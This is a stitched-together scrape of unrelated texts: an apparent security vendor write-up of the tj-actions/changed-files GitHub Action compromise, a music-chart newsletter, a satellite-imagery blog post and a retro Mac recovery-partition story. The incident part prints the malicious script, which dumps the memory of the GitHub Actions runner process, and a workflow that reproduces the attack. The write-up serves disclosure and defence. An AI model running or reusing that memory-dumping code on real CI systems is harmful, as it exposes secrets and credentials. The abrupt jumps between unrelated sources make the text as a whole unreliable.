Here is the con­tent of https://​gist.githubuser­con­tent.com/​niki­tas­tupin/​30e525b776c409e03c2d6f328f254965/​raw/​mem­dump.py

#!/usr/bin/env python3

def get_pid():

# https://​stack­over­flow.com/​ques­tions/​2703640/​process-list-on-linux-via-python

pids = [pid for pid in os.list­dir(‘/​proc’) if pid.is­digit()]

for pid in pids:

with open(os.path.join(‘/​proc’, pid, ‘cmdline’), ‘rb’) as cmd­line_f:

if b’Run­ner.Work­er’ in cmd­line_f.read():

re­turn pid

raise Exception(‘Can not get pid of Runner.Worker’)

if __name__ == “__main__”:

pid = get_pid()

print(pid)

map_­path = f”/​proc/{​pid}/​maps”

mem_­path = f”/​proc/{​pid}/​mem”

with open(map_­path, ‘r’) as map_f, open(mem_­path, ‘rb’, 0) as mem_f:

for line in map_f.read­lines(): # for each mapped re­gion

m = re.match(r’([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])’, line)

if m.group(3) == ‘r’: # read­able re­gion

start = int(m.group(1), 16)

end = int(m.group(2), 16)

# hot­fix: OverflowError: Python int too large to con­vert to C long

# 18446744073699065856

if start > sys.max­size:

con­tinue

mem_f.seek(start) # seek to re­gion start

try:

chunk = mem_f.read(end - start) # read re­gion con­tents

sys.std­out.buffer.write(chunk)

ex­cept OSError:

con­tinue

Even though GitHub shows ren­o­vate as the com­mit au­thor, most likely the com­mit did not ac­tu­ally come up ren­o­vate bot. The com­mit is an un-ver­i­fied com­mit, so likely the ad­ver­sary pro­vided ren­o­vate as the com­mit au­thor to hide their tracks.

StepSecurity Harden-Runner se­cures CI/CD work­flows by con­trol­ling net­work ac­cess and mon­i­tor­ing ac­tiv­i­ties on GitHub-hosted and self-hosted run­ners. The name “Harden-Runner” comes from its pur­pose: strength­en­ing the se­cu­rity of the run­ners used in GitHub Actions work­flows. The Harden-Runner com­mu­nity tier is free for open-source pro­jects. In ad­di­tion, it of­fers sev­eral en­ter­prise fea­tures.

When this Action is ex­e­cuted with Harden-Runner, you can see the ma­li­cious code in ac­tion. We re­pro­duced the ex­ploit in a test repos­i­tory. When the com­pro­mised tj-ac­tions/​changed-files ac­tion runs, Harden-Runner’s in­sights clearly show it down­load­ing and ex­e­cut­ing a ma­li­cious Python script that at­tempts to dump sen­si­tive data from the GitHub Actions run­ner’s mem­ory. You can see the be­hav­ior here:

https://​app.stepse­cu­rity.io/​github/​step-se­cu­rity/​github-ac­tions-goat/​ac­tions/​runs/​13866127357

To re­pro­duce this, you can run the fol­low­ing work­flow:

name: “tj-action changed-files in­ci­dent”

on:

pul­l_re­quest:

branches:

- main

per­mis­sions:

pull-re­quests: read

jobs:

changed_­files:

runs-on: ubuntu-lat­est

name: Test changed-files

steps:

- name: Harden Runner

uses: step-se­cu­rity/​harden-run­ner@v2

with:

dis­able-sudo: true

egress-pol­icy: au­dit

- uses: ac­tions/​check­out@v4

with:

fetch-depth: 0

# Example 1

- name: Get changed files

id: changed-files

uses: tj-ac­tions/​changed-files@v35

- name: List all changed files

run: |

for file in ${{ steps.changed-files.out­puts.al­l_changed_­files }}; do

echo “$file was changed”

done

When this work­flow is ex­e­cuted, you can see the ma­li­cious be­hav­ior through Harden-Runner:

When this work­flow runs, you can ob­serve the ma­li­cious be­hav­ior in the Harden-Runner in­sights page. The com­pro­mised Action down­loads and ex­e­cutes a ma­li­cious Python script, which at­tempts to dump sen­si­tive data from the Actions Runner process mem­ory.

🚨 If you are us­ing any ver­sion of the tj-ac­tions/​changed-files Action, we strongly rec­om­mend you stop us­ing it im­me­di­ately un­til the in­ci­dent is re­solved. To sup­port the com­mu­nity dur­ing this in­ci­dent, we have re­leased a free, se­cure, and drop-in re­place­ment: step-se­cu­rity/​changed-files. We rec­om­mend up­dat­ing all in­stances of j-ac­tions/​changed-files in your work­flows to this StepSecurity-maintained Action.

To use the StepSecurity main­tained Action, sim­ply re­place all in­stances of “tj-actions/changed-files@vx” with “step-security/changed-files@3dbe17c78367e7d60f00d78ae6781a35be47b4a1 # v45.0.1″ or “step-security/changed-files@v45”.

For en­hanced se­cu­rity, you can pin to the spe­cific com­mit SHA:

jobs:

changed_­files:

runs-on: ubuntu-lat­est

- name: Get changed files

id: changed-files

uses: step-se­cu­rity/​changed-files@v45

You can also ref­er­ence the Action through its lat­est re­lease tag:

jobs:

changed_­files:

runs-on: ubuntu-lat­est

Hi folks. I’m Will Larson.

If you’re look­ing to reach out to me, here are ways I help. If you’d like to get a email from me, sub­scribe to my weekly newslet­ter.

Welcome back to Can’t Get Much Higher, the in­ter­net’s top des­ti­na­tion for us­ing num­bers to un­der­stand mu­sic and the mu­sic in­dus­try. This newslet­ter is made pos­si­ble by my read­ers. Consider up­grad­ing to a paid sub­scrip­tion to get ac­cess to in­ter­views, link roundups, and other fun fea­tures. If not, con­tinue on to a mur­der­ous story.

When you ask peo­ple about the most con­se­quen­tial years in pop­u­lar mu­sic, there might be no year that comes up more of­ten than 1964. Of course, the most im­por­tant thing about that year is The Beatles land­ing in the United States and kick­ing off the British Invasion. But the year is end­lessly dis­cussed be­cause so much else went on.

* Motown be­came a dom­i­nant force in pop mu­sic, re­leas­ing four num­ber ones, three of which were by The Supremes

* The Beach Boys con­tin­ued their run of hits

Sometimes it even felt like there were more con­se­quen­tial re­leases in a sin­gle week than there were in en­tire decades. Take the top five songs on the Billboard Hot 100 from the week of August 15 as an ex­am­ple:

“Where Did Our Love Go” by The Supremes“Rag Doll” by Frankie Valli & the Four Seasons“Under the Boardwalk” by The Drifters

These are five songs that I re­turn to of­ten. And weeks like this weren’t even that rare in 1964. Just one week later, you had the same songs in the top five, ex­cept “Rag Doll” was re­placed by The Animals’ “House of the Rising Son,” the song that some claim made Dylan go elec­tric and pushed rock mu­sic into a com­pletely new di­rec­tion.

The one claim that’s al­ways fas­ci­nated me about 1964 is that it was a line of de­mar­ca­tion be­tween an old and a new way to make mu­sic. If you were mak­ing hits in 1963 and did­n’t change your sound in 1964, you were go­ing to be wait­ing ta­bles by the be­gin­ning of 1965. In other words, The Beatles-led British Invasion dec­i­mated the ca­reers of scores of artists. But was this re­ally the case?

The sound of rock mu­sic un­doubt­edly changed be­tween the be­gin­ning and mid­dle of the 1960s. But by look­ing at the Billboard Hot 100, we can see if that change in sound was be­ing made by a fleet of new groups or a bunch of older acts adapt­ing.

To do this, I grabbed a list of all 175 acts who re­leased at least one top 40 sin­gle in 1963. (Fun fact: the record for the most top 40 hits that year was shared by five acts: Bobby Vinton, Brenda Lee, Dion & the Belmonts, Ray Charles, and The Beach Boys. Each had six top 40 hits.) I then de­cided to see which of those acts never re­leased a hit in 1964 or any year af­ter. In to­tal, 88 of those 175 acts, or 50%, never had a top 40 hit again.

That’s kind of a lot. In other words, The Beatles and their fel­low in­vad­ing Brits killed a lot of ca­reers. Or did they? By look­ing at only a sin­gle year we could be bi­ased. And we are.

If we cal­cu­late that same rate for every sin­gle year be­tween 1960 and 2020, we see that while the kill rate in 1964 was high, it was­n’t com­pletely out of the or­di­nary. The me­dian is around 40%. Having a multi-year ca­reer as a pop­u­lar artist is just hard. By look­ing at the years with the high­est rates, we can glean a few other things, though.

First, three of the top ten rates are 1962, 1963, and 1964. In other words, there is some cre­dence to the the­ory that the British Invasion dec­i­mated many ca­reers. Nevertheless, the fact that the rates in 1962 and 1963 are high tells me that sonic changes were brew­ing in the United States too. Had The Beatles not ar­rived, rock mu­sic prob­a­bly still would have evolved in a way that would have left ear­lier hit­mak­ers in the dust. That sonic evo­lu­tion would have been dif­fer­ent, though.

Second, why are half of the years in the top 10 be­tween 1990 and 1999? Part of this is a data quirk. In 1991, Billboard changed their chart method­ol­ogy. Overnight, hip-hop and coun­try were bet­ter rep­re­sented on the chart. Thus, there was a ton of artist turnover. At the same time, I think we un­der­rate how tu­mul­tuous mu­sic was in the 1990s. Here are some odd­i­ties from that decade that I noted when dis­cussing the swing re­vival in an ear­lier newslet­ter:

In other words, the 1990s were strange. And I think we are just be­gin­ning to grap­ple with that strange­ness. Because of that, there was a ton of turnover on the charts. It’s hard for artists to keep up with trends when grunge, gangsta rap, swing, and a new breed of teen pop are all suc­cess­ful in a mat­ter of years. Being a su­per­star is­n’t easy.

Aggregating this data got me think­ing about which artists have been able to sur­vive the most mu­si­cal changes and still find suc­cess. While there are artists, like Elton John and The Rolling Stones, who put out hits for decades, I want to point out one artist whose re­silience still shocks me: Frankie Valli.

Born in 1934, Valli had his first ma­jor hit in 1962 with “Sherry,” a song per­formed with his group The Four Seasons. Before The Beatles splashed on American shores, Valli and his band­mates had eight more top 40 hits. But they were the kind of group that you’d ex­pect to be dec­i­mated by the new sound of rock mu­sic. The Four Seasons were sort of a throw­back even in 1963, Valli and his falsetto point­ing to­ward the doo-wop of the last decade.

But Valli and his col­lab­o­ra­tors forged on. They made some mu­si­cal mis­steps but they re­mained a mu­si­cal force through 1967, re­leas­ing bonafide clas­sics, like “Can’t Take My Eyes Off You.” Okay. So, he sur­vived the British Invasion. Some oth­ers did too. But Valli did­n’t go qui­etly as the 1960s came to a close.

In 1974, he scored a mas­sive hit with “My Eyes Adored You,” a song that played well with the soft rock that was dom­i­nant at the time. Then disco be­gan to boom and Valli re­mained un­de­terred. “Swearin’ to God.” “Who Loves You.” “December, 1963 (Oh, What a Night).” The man could not be stopped.

The fact that Valli topped the charts again in 1978 with “Grease” still bog­gles my mind. I don’t think any­body who heard “Sherry” in 1962 thought that he’d be within a coun­try mile of the charts 12 years later. By the time the hit mu­si­cal Jersey Boys was made about his life in 2005, his leg­end was firmly es­tab­lished. But long be­fore that, I was tip­ping my cap to him.

I’ll ad­mit that I hopped on the Doechii train late. Like many oth­ers, I first lis­tened to her al­bum Alligator Bites Never Heal af­ter it won Best Rap Album at the 67th Grammy Awards. No mat­ter how late I was, I’m happy that I’m here now. Not only is Doechii dex­trous as a rap­per but all of her beats are groovy and twitchy in a way that feels fresh. “Nosebleeds,” her vic­tory lap af­ter the Grammy win, has all of those things on dis­play.

As I was ad­mir­ing 1964, I no­ticed that the week of October 10 had a mind-blow­ing top five. It in­cluded Roy Orbison’s “Oh, Pretty Woman,” Manfred Mann’s “Do Wah Diddy Diddy,” Martha & the Vandellas’ “Dancing in the Street,” and The Shangri-Las’ “Remember (Walkin’ in the Sand).” There was one song that I was­n’t fa­mil­iar with, though: “Bread and Butter” by The Newbeats.

“Bread and Butter” is fun, lit­tle nov­elty about bread, but­ter, toast, jam, and los­ing your lover. The most no­table thing about the song is a half-screamed falsetto that ap­pears pe­ri­od­i­cally through­out the song as per­formed by Larry Henley. Incidentally, Henley is an­other good ex­am­ple of mu­si­cal re­silience. After his per­form­ing ca­reer ended, he wrote a few hits over the decades, in­clud­ing Bette Midler’s mas­sive 1989 bal­lad “Wind Beneath My Wings.”

Shout out to the paid sub­scribers who al­low this newslet­ter to ex­ist. Along with get­ting ac­cess to our en­tire archive, sub­scribers un­lock bi­weekly in­ter­views with peo­ple dri­ving the mu­sic in­dus­try, monthly round-ups of the most im­por­tant sto­ries in mu­sic, and pri­or­ity when sub­mit­ting ques­tions for our mail­bag. Consider be­com­ing a paid sub­scriber to­day!

Recent Paid Subscriber Interviews: Pitchfork’s Editor-in-Chief • Classical Pianist • Spotify’s Former Data Guru • Music Supervisor • John Legend Collaborator • Wedding DJ • What It’s Like to Go Viral • Adele Collaborator

Recent Newsletters: Personalized Lies • The Lostwave Story • Blockbuster Nostalgia • Weird Band Names • Recorded Music is a Hoax • A Frank Sinatra Mystery • The 40-Year Test

Want to hear the mu­sic that I make? Check out my lat­est sin­gle “Overloving” wher­ever you stream mu­sic.

Last month, Wyvern, a 36-person start-up with $16M USD in fund­ing in Edmonton, Canada launched an open data pro­gramme for their VNIR, 23 to 31-band hy­per­spec­tral satel­lite im­agery.

The im­agery was cap­tured with one of their three Dragonette 6U CubeSat satel­lites. These satel­lites were built by AAC Clyde Space which has of­fices in the UK, Sweden and a few other coun­tries. They or­bit 517 - 550 KM above the Earth’s sur­face and have a spa­tial res­o­lu­tion at nadir (GSD) of 5.3M.

SpaceX launched all three of their satel­lites from Vandenberg Space Force Base in California. They were launched on April 15th, June 12th and November 11th, 2023 re­spec­tively.

There are ~130 GB of GeoTIFFs be­ing hosted in their AWS S3 bucket in Montreal. The 33 im­ages posted were taken be­tween June and two weeks ago.

I’m us­ing a 5.7 GHz AMD Ryzen 9 9950X CPU. It has 16 cores and 32 threads and 1.2 MB of L1, 16 MB of L2 and 64 MB of L3 cache. It has a liq­uid cooler at­tached and is housed in a spa­cious, full-sized Cooler Master HAF 700 com­puter case.

The sys­tem has 96 GB of DDR5 RAM clocked at 4,800 MT/s and a 5th-generation, Crucial T700 4 TB NVMe M.2 SSD which can read at speeds up to 12,400 MB/s. There is a heatsink on the SSD to help keep its tem­per­a­ture down. This is my sys­tem’s C drive.

The sys­tem is pow­ered by a 1,200-watt, fully mod­u­lar Corsair Power Supply and is sat on an ASRock X870E Nova 90 Motherboard.

I’m run­ning Ubuntu 24 LTS via Microsoft’s Ubuntu for Windows on Windows 11 Pro. In case you’re won­der­ing why I don’t run a Linux-based desk­top as my pri­mary work en­vi­ron­ment, I’m still us­ing an Nvidia GTX 1080 GPU which has bet­ter dri­ver sup­port on Windows and I use ArcGIS Pro from time to time which only sup­ports Windows na­tively.

I’ll use GDAL 3.9.3, Python 3.12.3 and a few other tools to help analyse the data in this post.

I’ll set up a Python Virtual Environment and in­stall some de­pen­den­cies.

I’ll use my GeoTIFFs analy­sis util­ity in this post.

I’ll use DuckDB, along with its H3, JSON, Lindel, Parquet and Spatial ex­ten­sions, in this post.

I’ll set up DuckDB to load every in­stalled ex­ten­sion each time it launches.

The maps in this post were ren­dered with QGIS ver­sion 3.42. QGIS is a desk­top ap­pli­ca­tion that runs on Windows, ma­cOS and Linux. The ap­pli­ca­tion has grown in pop­u­lar­ity in re­cent years and has ~15M ap­pli­ca­tion launches from users all around the world each month.

I used QGIS’ Tile+ plu­gin to add geospa­tial con­text with Bing’s Virtual Earth Basemap as well as CARTO’s to the maps. The dark, non-satel­lite im­agery maps are mostly made up of vec­tor data from Natural Earth and Overture.

Below is PulseOrbital’s list of es­ti­mated Tallinn fly­overs by Wyvern’s Dragonette con­stel­la­tion for March 8th and 9th, 2025.

Below I’ll try to es­ti­mate the cur­rent lo­ca­tions of each of their three satel­lites. I found the Two-line el­e­ments (TLE) de­tails on n2yo.

I ran the fol­low­ing on March 10th, 2025. It pro­duced a CSV file with names and es­ti­mated lo­ca­tions of their three satel­lites.

Below is a ren­der­ing of the above CSV data in QGIS.

Wyvern have a STAC cat­a­log list­ing the im­agery lo­ca­tions and meta­data around their cap­ture. I’ll down­load this meta­data and get each im­age’s ad­dress de­tails with Mapbox’s re­verse geocod­ing ser­vice. Mapbox of­fer 100K geocod­ing searches per month with their free tier.

The above pro­duced a 33-line JSONL file. Below is an ex­am­ple record.

I’ll load their im­agery meta­data into DuckDB for analy­sis.

Below are the im­age counts by coun­try and city. Some ar­eas are rural and Mapbox did­n’t at­tribute any city to the im­age foot­print’s lo­ca­tion.

Below are the lo­ca­tions of the im­ages.

These are the months in which the im­agery was cap­tured.

The ma­jor­ity of im­agery is from their first satel­lite but there are four im­ages from their third. Their sec­ond and third satel­lites can col­lect a wider spec­tral range, with more spec­tral bands at a greater spec­tral res­o­lu­tion.

All of the im­agery has been processed to level L1B and, with the ex­cep­tion of one im­age, to ver­sion 1.3.

Below I’ll bucket the amount of cloud cover in their im­agery to the near­est 10%.

The im­agery Wyvern de­liv­ers are Cloud-Optimised GeoTIFF con­tain­ers. These files con­tain Tiled Multi-Resolution TIFFs  / Tiled Pyramid TIFFs. This means there are sev­eral ver­sions of the same im­age at dif­fer­ent res­o­lu­tions within the GeoTIFF file.

These files are struc­tured so it’s easy to only read a por­tion of a file for any one res­o­lu­tion you’re in­ter­ested in. A file might be 100 MB but a JavaScript-based Web Application might only need to down­load 2 MB of data from that file in or­der to ren­der its low­est res­o­lu­tion.

The fol­low­ing down­loaded 130 GB of GeoTIFFs from their feed.

Below you can see the five res­o­lu­tions of im­agery with the fol­low­ing GeoTIFF. These range from 6161-pixels wide down to 385-pixels wide.

Below is a 23 x 30 KM im­age of Los Angeles.

This is its meta­data for ref­er­ence.

The fol­low­ing bands are pre­sent in the above im­age.

Most im­ages con­tain 23 bands of data though there are four im­ages in this feed that con­tain 31 bands.

If you open the prop­er­ties for the above im­age’s layer in QGIS and se­lect the “Symbology” tab, you can re-map the bands be­ing used for the red, green and blue chan­nels be­ing ren­dered. Try the fol­low­ing:

Under the “Min / Max Value Settings” sec­tion, check the ra­dio but­ton next to “Min / max”.

Below is what the set­tings should look like:

Hit “Apply” and the im­age should look more nat­ural.

Below is a com­par­i­son to Bing’s im­agery for this area.

Below is a com­par­i­son to Esri’s im­agery for this area.

Below is a com­par­i­son to Google’s im­agery for this area.

Below is a com­par­i­son to Yandex’s im­agery for this area.

QGIS 3.42 was re­leased a few weeks ago and now has STAC cat­a­log in­te­gra­tion.

From the Layer Menu, click Add Layer -> Add Layer from STAC Catalog.

Give the layer the name “wyvern” and paste in the fol­low­ing URL:

Below is what the fields should look like.

Click OK, then Close on the next di­a­log and re­turn to the main UI. Don’t click the con­nect but­ton as you’ll re­ceive an er­ror mes­sage and it is­n’t needed for this feed.

Click the View Menu -> Panels -> Browser Panel. You should see a STAC item ap­pear in that panel and un­der­neath you should be able to browse the var­i­ous col­lec­tions Wyvern of­fer.

Right click­ing any as­set lets you both see a pre­view and de­tails on the im­agery. You can also down­load the im­agery to your ma­chine and into your QGIS pro­ject.

Thank you for tak­ing the time to read this post. I of­fer both con­sult­ing and hands-on de­vel­op­ment ser­vices to clients in North America and Europe. If you’d like to dis­cuss how my of­fer­ings can help your busi­ness please con­tact me via LinkedIn .

In my last post about hard dri­ves that go bad over time, I hinted at hav­ing res­cued a lost piece of ob­scure Apple soft­ware his­tory from an old 160 MB Conner hard drive that had its head stuck in the parked po­si­tion. This post is go­ing to be all about it. It’s the tale of a tad bit of an ob­ses­sion, what felt like a hope­less search, and how per­sis­tence even­tu­ally paid off. There’s still an un­solved mys­tery too, so I’m hop­ing oth­ers will see this and help to fill in the blanks!

This whole saga starts with a very in­ter­est­ing blog post writ­ten by Pierre Dandumont in 2022. Pierre’s (excellent) blog is in French — Google does a good job of trans­lat­ing it for me. He found a quote in a book re­fer­ring to spe­cial func­tion­al­ity bun­dled with Apple’s Macintosh Performa 550 com­puter:

If Apple’s pro­gram­mers, in cre­at­ing the Performa se­ries, were aim­ing to make id­iot-proof com­put­ers, they were se­ri­ous about it. The Performa 550 is an amaz­ing case in point. When you run the in­cluded Apple Backup pro­gram (see Chapter 15), you get a lit­tle sur­prise that you did­n’t count on: a hid­den par­ti­tion on your hard drive!

This in­vis­i­ble chunk of hard drive space con­tains a minia­ture, in­vis­i­ble System Folder. Apple’s in­ter­nal memo ex­plains it this way:

“When a sys­tem prob­lem (one that pre­vents the Performa from boot­ing) is de­tected, a [dialog box] in­forms the user of a sys­tem prob­lem. The user can choose to fix the prob­lem man­u­ally or to re­in­stall soft­ware from the backup par­ti­tion’s Mini System Folder.”

If you choose to re­in­stall your System soft­ware, you get the wrist­watch cur­sor for a mo­ment while the minia­ture System Folder is silently copied to your main hard-drive par­ti­tion. The Performa restarts from the re­stored hard drive, and the in­vis­i­ble sys­tem par­ti­tion dis­ap­pears once again.

We got a Performa team mem­ber to ad­mit that this kind of sneaky save-the-users-from-them­selves ap­proach may well be adopted in other Performa mod­els.

Who knows what good­ness lurks in the hearts of men?

Cool! Although I have owned my own copy of this book for decades, I had no rec­ol­lec­tion of ever read­ing this lit­tle blurb. The book, if you’re cu­ri­ous, is Macworld Mac Secrets by David Pogue and Joseph Schorr. I found this whole func­tion­al­ity very in­trigu­ing, par­tic­u­larly be­cause I had what felt like a very per­sonal con­nec­tion to it: the very first Mac that my fam­ily had when I was grow­ing up was a Performa 550. I don’t think I have any pic­tures from back then, but in the mean­time I’ve ac­quired one that looks ex­actly iden­ti­cal, so here’s a (slightly blurry) view of the type of ma­chine I’m talk­ing about in this post:

I know that many peo­ple think the LC/Performa 5xx case style is ugly, but I re­ally like it! I’m def­i­nitely bi­ased though.

This is an early model man­u­fac­tured in September of 1993, which came with a caddy-load­ing CD-ROM drive (AppleCD 300i). Like other Macs from the same era, newer ver­sions from 1994 came with a tray-load­ing drive in­stead (AppleCD 300i Plus). For com­par­i­son, here’s a photo of a late-model Performa 550 with a man­u­fac­ture date of March 1994 that re4­mat kindly gave me per­mis­sion to share here:

Pierre asked me if I had a copy of Apple’s soft­ware restora­tion CD for the Performa 550, and if I knew how to get it work­ing in an em­u­la­tor in or­der to try out this spe­cial func­tion­al­ity. I pointed him to a down­load link for the Performa CD for the 500 Series, ver­sion 7.1P6:

If you weren’t us­ing mul­ti­me­dia com­put­ers in the early 1990s, you might not rec­og­nize the weird rec­tan­gu­lar con­tainer that this CD is en­closed in­side of. It’s a CD caddy, and it’s what was used for in­sert­ing CDs into com­put­ers like the first one pic­tured above. You would open the caddy by squeez­ing the top right and bot­tom right ends to­ward each other, stick the disc into it, close it, and then push it into the slot in the com­puter, sim­i­larly to how you would in­sert a floppy disk. I re­ally don’t miss these things one bit!

Back to the story, though. I also gave Pierre some tips for us­ing the re­store CD in an em­u­la­tor. Nowadays, my ad­vice is out­dated be­cause it’s much eas­ier to use Apple re­store CDs in at least one em­u­la­tor — MAME has come a long way in the last few years. He fig­ured out a bunch more stuff on his own af­ter that, in­clud­ing try­ing it in his own Performa 450 (not 550), but the bot­tom line was that the re­cov­ery par­ti­tion was nowhere to be found.

Well, sort of. He found that the process of restor­ing from the CD ac­tu­ally did cre­ate a re­cov­ery par­ti­tion. Here’s a screen­shot of the par­ti­tion­ing from in­side of Apple HD SC Setup while booted from the Performa CD, af­ter for­mat­ting the hard drive by click­ing the Initialize but­ton in the main win­dow:

As you can see, there’s a 2,560 KB par­ti­tion of type Apple_Recovery al­most at the end of the drive, just af­ter the main par­ti­tion named “Hard Disk”. This was promis­ing at first glance, but the par­ti­tion was empty! Further test­ing re­vealed that the cus­tom Performa-specific ver­sion of Apple HD SC Setup (7.2.2P6) bun­dled on the CD was re­spon­si­ble for cre­at­ing it, but did­n’t ac­tu­ally pop­u­late it with any data. Apple Backup also did­n’t put any­thing onto the par­ti­tion, de­spite what the book said. I even looked through my past dis­as­sem­blies of the Apple Backup and Apple Restore code and con­firmed that there was noth­ing re­lated to cre­at­ing a re­cov­ery par­ti­tion.

The con­clu­sion at the time was that some­one needed to get ahold of a Performa 550 that still had its orig­i­nal hard drive and had never been re­for­mat­ted. That’s where this story sat for 3 years.

A few months ago, I re­mem­bered this whole sit­u­a­tion and de­cided that I re­ally wanted to try to find this par­ti­tion. After all, the clock had al­ways been tick­ing. The longer we waited, the fewer and fewer orig­i­nal Performa 550s would be out there in the wild. Not to men­tion that hard dri­ves go bad and peo­ple throw them out with­out know­ing that it’s usu­ally pos­si­ble to re­cover data from dri­ves of this era. I con­firmed all of Pierre’s find­ings in MAME. I even tried us­ing Apple Backup in case I missed some­thing, but no, it did­n’t do any­thing with the hid­den re­cov­ery par­ti­tion. An easy way to look at it is to man­u­ally edit the par­ti­tion table in a hex ed­i­tor and change the type from Apple_Recovery to Apple_HFS.

After do­ing this and boot­ing up, I found an­other hard drive icon on my desk­top called Recovery Volume, but it was empty, just like Pierre said:

Taking it a bit fur­ther, I tried recre­at­ing the re­cov­ery func­tion­al­ity my­self. I copied a min­i­mal sys­tem folder to the Recovery Volume, and then changed its type back to Apple_Recovery. This made it in­vis­i­ble again. Then I screwed up my main sys­tem folder and re­booted. Sure enough, it au­to­mat­i­cally came up with the Recovery Volume as the main boot vol­ume.

This proved that the mech­a­nism for boot­ing from the re­cov­ery par­ti­tion worked; we were just miss­ing the data that was sup­posed to be on it. I came to the same con­clu­sion that Pierre had al­ready reached: we needed to find a Performa 550 that had never been re­for­mat­ted. In the mean­time, I spent some time dig­ging into archives of Apple’s old tech notes and found sev­eral more ref­er­ences to this func­tion­al­ity.

System 7: Performa Versions Compared (9/95) — the first bul­let point un­der System Software Version 7.1P6 refers to this fea­ture:

Backup Partition Software-automatically de­tects cor­rupted sys­tem fold­ers. When a bad System Folder is de­tected, the user is given the op­tion to re-load an­other System Folder into their sys­tem.

Performa 550: Description of Backup Partition (3/94) — this note is clearly the “internal memo” that Macworld Mac Secrets was quot­ing. Some in­ter­est­ing ex­cerpts from this ar­ti­cle:

The Apple Backup ap­pli­ca­tion cre­ates a backup re­cov­ery par­ti­tion that al­lows the Performa to boot even when the System Software on the main hard drive has been cor­rupted. The par­ti­tion is in­vis­i­ble to the user.

There is no built-in limit to the num­ber of times the backup par­ti­tion can be used. However, the par­ti­tion will be lost if the hard drive is re-for­mat­ted. At this time the backup par­ti­tion is used only on the Performa 550.

Performa 550: System Folder Created w/ Dinosaur Safari CD (8/94) — not that I needed any more proof of the re­cov­ery par­ti­tion’s ex­is­tence at this point, but I got a kick out of this one. It talks about how launch­ing an ed­u­ca­tional game about di­nosaurs ac­ci­den­tally caused the sys­tem to go into re­cov­ery mode. It pro­vided a lit­tle more info about what would hap­pen when the re­cov­ery di­a­log popped up:

When I launch the Dinosaur Safari CD from Creative Multimedia, a di­a­log box ap­pears telling me that my Performa com­puter is hav­ing trou­ble start­ing up. I only have two op­tions Shutdown or Continue? Why?

After read­ing these ar­ti­cles, I was very con­vinced that the re­cov­ery par­ti­tion was a real thing that ex­isted, but I was also pretty con­fi­dent that Apple Backup was­n’t re­spon­si­ble for cre­at­ing it, de­spite Apple claim­ing oth­er­wise. I had al­ready seen that the spe­cial build of Apple HD SC Setup was what ac­tu­ally cre­ated it, and plus, like I said ear­lier, I had looked closely into a dis­as­sem­bly of the ver­sion of Apple Backup sup­plied with the Performa 500 se­ries re­store CD. There was noth­ing that copied any files to an­other par­ti­tion on the hard drive, at least not that I could see.

Really, the most im­por­tant thing I gained from this ex­er­cise was that the sec­ond tech note con­firmed the need to find a Performa 550 that had never been re­for­mat­ted. Also, if the first tech note was to be be­lieved, it needed to have come with System 7.1P6. This could nar­row the search even fur­ther — I know for a fact that ear­lier Performa 550 mod­els came with 7.1P5, in­clud­ing my child­hood one. The same tech note also pointed out that 7.1P6 was the first ver­sion to sup­port the “AppleCD 300+”, which is re­fer­ring to the tray-load­ing CD-ROM drive. Based on this in­for­ma­tion, it’s rea­son­able to de­duce that all Performa 550s with a tray-load­ing CD-ROM drive would prob­a­bly have orig­i­nally come with at least System 7.1P6.

There was only one thing left to try at this point: ask­ing the Internet for help. I asked peo­ple every­where I could think of: Tinker Different, 68kMLA (where Pierre had al­ready asked), and var­i­ous so­cial me­dia sites. I searched Reddit and found peo­ple who had posted in the past about hav­ing a 550, ask­ing if they still had the hard drive. I think I scared some of them — at least one per­son deleted their post af­ter I asked! To be hon­est, I can’t blame them. I can imag­ine how freaky it would be to hear from some­one beg­ging to look at my hard dri­ve’s con­tents. I’m sure some peo­ple might think of it as cross­ing a line, but it’s not as crazy of an ask if it’s a ma­chine they’ve re­ceived sec­ond-hand from some­one else. Plus, I was very clear about ex­actly what I was look­ing for (and why).

I asked a seller of a Performa 550 that had been sit­ting on eBay for a long time if they would be will­ing to sell me the hard drive sep­a­rately. They weren’t in­ter­ested. I even bought some ran­dom hard dri­ves on eBay that def­i­nitely went with a 5xx-style case. These were easy to iden­tify be­cause this case style uses a unique adapter for plug­ging the drive into the chas­sis wiring har­ness when you slide it into place.

What do I have to show for all of these eBay pur­chases? Well, af­ter dump­ing them all with my ZuluSCSI in ini­tia­tor mode, I can say that the one pic­tured above came from a Macintosh TV. I also found an­other one from an LC 575. Lastly, I bought yet an­other drive that the seller said came from a Performa 577. The Performa 577 one was funny — it had all the Mac mount­ing hard­ware on it, but when I dumped it, it turned out to be from an Atari TT or Falcon (not sure which). I’d love to hear the story of how it ended up with an LC 5xx drive sled and adapter on it! Needless to say, none of them had the elu­sive re­cov­ery par­ti­tion. One par­tic­u­larly friendly eBay seller was even nice enough to show me a pre­view of a dri­ve’s con­tents in HFSExplorer, which helped me de­ter­mine that it was­n’t from a Performa.

I al­most be­gan ques­tion­ing my san­ity at one point dur­ing this search. Multiple peo­ple ini­tially told me that they thought I was con­fused about this whole thing. I pointed them to­ward Apple’s tech notes de­scrib­ing it. Were Pierre and I imag­in­ing this whole thing? Were Apple’s tech notes all a lie?

The thing is, this whole func­tion­al­ity was su­per ob­scure. It’s un­der­stand­able that peo­ple weren’t fa­mil­iar with it. Apple pub­licly stated it was only in­cluded with this one spe­cific Performa model. Their own doc­u­men­ta­tion also said that it would be lost if you re­for­mat­ted the hard drive. It was hid­ing in the back­ground, so no­body re­ally knew it was there, let alone thought about sav­ing it. Also, I can say that the first thing a lot of peo­ple do when they ob­tain a clas­sic com­puter is erase it in or­der to re­store it to the fac­tory state. Little did any­one know, if they re­for­mat­ted the hard drive on a Performa 550, they could have been wip­ing out rare data that had­n’t been pre­served!

Someone who saw my post on Reddit men­tioned that they had a Performa 550 and would check it out. It was a newer tray-load­ing model with a January 1994 man­u­fac­ture date. Unfortunately, the Conner hard drive in­side of it would­n’t co­op­er­ate, and plus this per­son did­n’t have any­thing ca­pa­ble of dump­ing the con­tents. Luckily for me though, they were to­tally com­fort­able with let­ting me bor­row the drive and try to re­cover the data from it.

To tie every­thing to­gether, we have now reached the point in this story that I cov­ered in my last post about hard dri­ves with stuck heads. As I men­tioned in that blog, I could not get this drive to do any­thing. It would just spin up, sit there for a while, spin down, and then make an an­noy­ing buzzing sound for a while, re­peat­ing that whole process over and over again.

